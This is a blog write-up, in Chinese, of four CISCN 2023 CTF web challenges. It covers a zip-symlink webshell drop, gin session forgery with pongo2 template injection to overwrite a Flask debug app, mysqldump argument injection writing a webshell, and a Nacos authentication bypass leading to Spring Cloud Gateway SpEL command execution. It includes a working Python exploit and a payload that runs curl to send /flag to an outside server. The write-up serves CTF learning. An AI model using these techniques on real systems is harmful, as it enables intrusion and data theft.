ciscn2023 web

unzip

 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this! 

思路很简单,首先利用zip -y软链接网站根目录解压进/tmp目录,再发送提前构造的路径相同的压缩包,解压 webshell 到网站根目录,拿到flag。

imgimgimgimg

go_session

package route

import (
    "github.com/flosch/pongo2/v6"
    "github.com/gin-gonic/gin"
    "github.com/gorilla/sessions"
    "html"
    "io"
    "net/http"
)

var store = sessions.NewCookieStore([]byte(os.xxxx))

func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    if session.Values["name"] == nil {
        session.Values["name"] = "guest"
        err = session.Save(c.Request, c.Writer)
        if err != nil {
            http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
            return
        }
    }

    c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    if session.Values["name"] != "admin" {
        http.Error(c.Writer, "N0", http.StatusInternalServerError)
        return
    }
    name := c.DefaultQuery("name", "ssti")
    xssWaf := html.EscapeString(name)
    tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
    if err != nil {
        panic(err)
    }
    out, err := tpl.Execute(pongo2.Context{"c": c})
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    c.String(200, out)
}

func Flask(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    if session.Values["name"] == nil {
        if err != nil {
            http.Error(c.Writer, "N0", http.StatusInternalServerError)
            return
        }
    }

    resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
    if err != nil {
        return
    }
    defer resp.Body.Close()
    body, _ := io.ReadAll(resp.Body)

    c.String(200, string(body))
}

题目给了三个路由

index admin flask

index提供一个默认的session

admin路由判断session进行ssti,用xsswaf过滤了引号

flask路由可以访问内部5000端口的flask服务

首先是admin路由,其中secret-key是通过环境变量获得,猜测不存在该环境变量,将该路由修改为一下代码,然后生成session如下

var store = sessions.NewCookieStore([]byte(""))
// key设置为空
func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
        return
    }
    if session.Values["name"] == nil {
        session.Values["name"] = "admin"
        // 将name改为admin
        err = session.Save(c.Request, c.Writer)
        if err != nil {
            http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
            return
        }
    }

    c.String(200, "Hello, guest")
}

通过本地生成的session拿到远程进行访问

img其中c是源码里面传入gin.context上下文,我们可以直接通过context进行绕过

这里因为html.EscapeString(name),查看源码可以发现过滤引号,所以我们就需要想办法构造字符串

img

这里想到Requst对象传参进行绕过引号,跟flask的ssti那种解法类似

这里我在gin.context里面全局搜索参数为空,返回值为string字符串的函数,可以发现以下几个函数

func (c *Context) HandlerName() string {
    return nameOfFunction(c.handlers.Last())
}
// 结果:main/route.Admin ,可以得到m,n
func (c *Context) FullPath() string {
    return c.fullPath
}
// 这个结果为/admin,first之后是'/',与传参冲突
func (c *Context) ClientIP() string {}
// 结果:10.0.0.1,首尾字符串结果一样,不采用
func (c *Context) RemoteIP() string {}
// 同上
func (c *Context) ContentType() string{}
// 因为要上传文件,所以不能改ContentType

这里几个函数都能拿到字符串,然后将字符串放在请求参数上面可以获取任意字符串,因为后面flask热加载需要两个参数,所以这里选择使用HandlerName函数返回的main/route.Admin

使用过滤器first和last可以拿到m,n两个字符,不采用其他函数的原因见注释

然后flask得到源码可以通过name=空可以获得

from flask import Flask,request
app = Flask(__name__)


@app.route('/')
def index():
    name = request.args['name']
    return name + 'no ssti'


if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)

这里flask开启了debug模式,debug攻击点一般采用算pin和debug热加载,这里尝试过算pin发现不能携带cookie,不能直接命令执行,所以使用热加载。

文件上传server.py覆盖原来的代码,然后访问修改后的路由,flask在处理的时候发现内存中的代码和源码中不同则会自动重启,这样我们就能构造恶意代码了

gin文件上传的方法见:https://www.kancloud.cn/shuangdeyu/gin_book/949420

img

需要使用FormFile和SaveUploadedFile函数,第一个接受表单name参数,第二个接受文件上传路径,所以需要两个参数,下面是给出的exp

# -*- coding: utf-8 -*-
# @Time : 2023/5/27 15:38
# @Author : pysnow
import requests

proxy = {"http": "127.0.0.1:8080"}
url = 'http://39.105.26.155:37640/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py'
head = {
    "Cookie": "session-name=MTY4NTE2MjExMnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXz7kLMLvaz7bCBgVTNC_qlvc9f8_cpW2G2NH8kOc7aSdQ=="}
f = open("server.py")
res = requests.post(url=url, headers=head, files={"file": f}, proxies=proxy)
f.close()
print(res)

抓包后将POST改为GET,然后发包就能覆盖文件

img

img

最后flag在根目录下,名字为8155d83880318e256482_flag

dumpit

根据数据库中的提示猜测是命令注入

img通过导出日志格式得知其为 mysqldump 导出文件的格式,猜测其通过命令行输出日志,并且可以解析我们拼接上的参数如--xml,于是搜索其参数,可以知道--result-file参数可控制日志输出的文件位置

img在生成的日志文件中数据库名db可通过参数控制,文件后缀也可控,于是尝试写入 webshell

由于过滤了一些特殊符号如分号和反引号,尝试用?>直接闭合,成功写入 webshell

img在 phpinfo 页面搜索到 flag

img

BackendService

打开是一个暴露在外网的nacos

登陆界面能够直接用https://juejin.cn/post/7133573986633383950,直接在请求头ua改为Nacos-Server就能绕过身份验证新增用户

img添加了一个admin/admin用户,进入后台

img

img

在源码中可以看到backendserver为provider服务,监听在8811端口上

内部配置服务有个8888的gateway服务,id为backcfg。可以直接访问这个内部服务。

这里可以通过修改gateway配置文件反代backendservice服务,详细可以看这篇文章

https://xz.aliyun.com/t/11493

因为这里我们不能直接访问127.0.0.1:8888端口查看返回头,所以需要无回显命令执行,这里给出我的payload,将文章里的yaml格式转化成json格式,因为这个gateway应用服务接受json格式

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://182.61.xxx.xxx:8081','-F','pysnow=@/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

img

imgvps直接监听拿到flag

最后修改:2023 年 05 月 29 日
如果觉得我的文章对你有用,请随意赞赏
本文作者:
文章标题:ciscn2023初赛 web writeUp
本文地址:https://pysnow.cn/archives/713/
版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。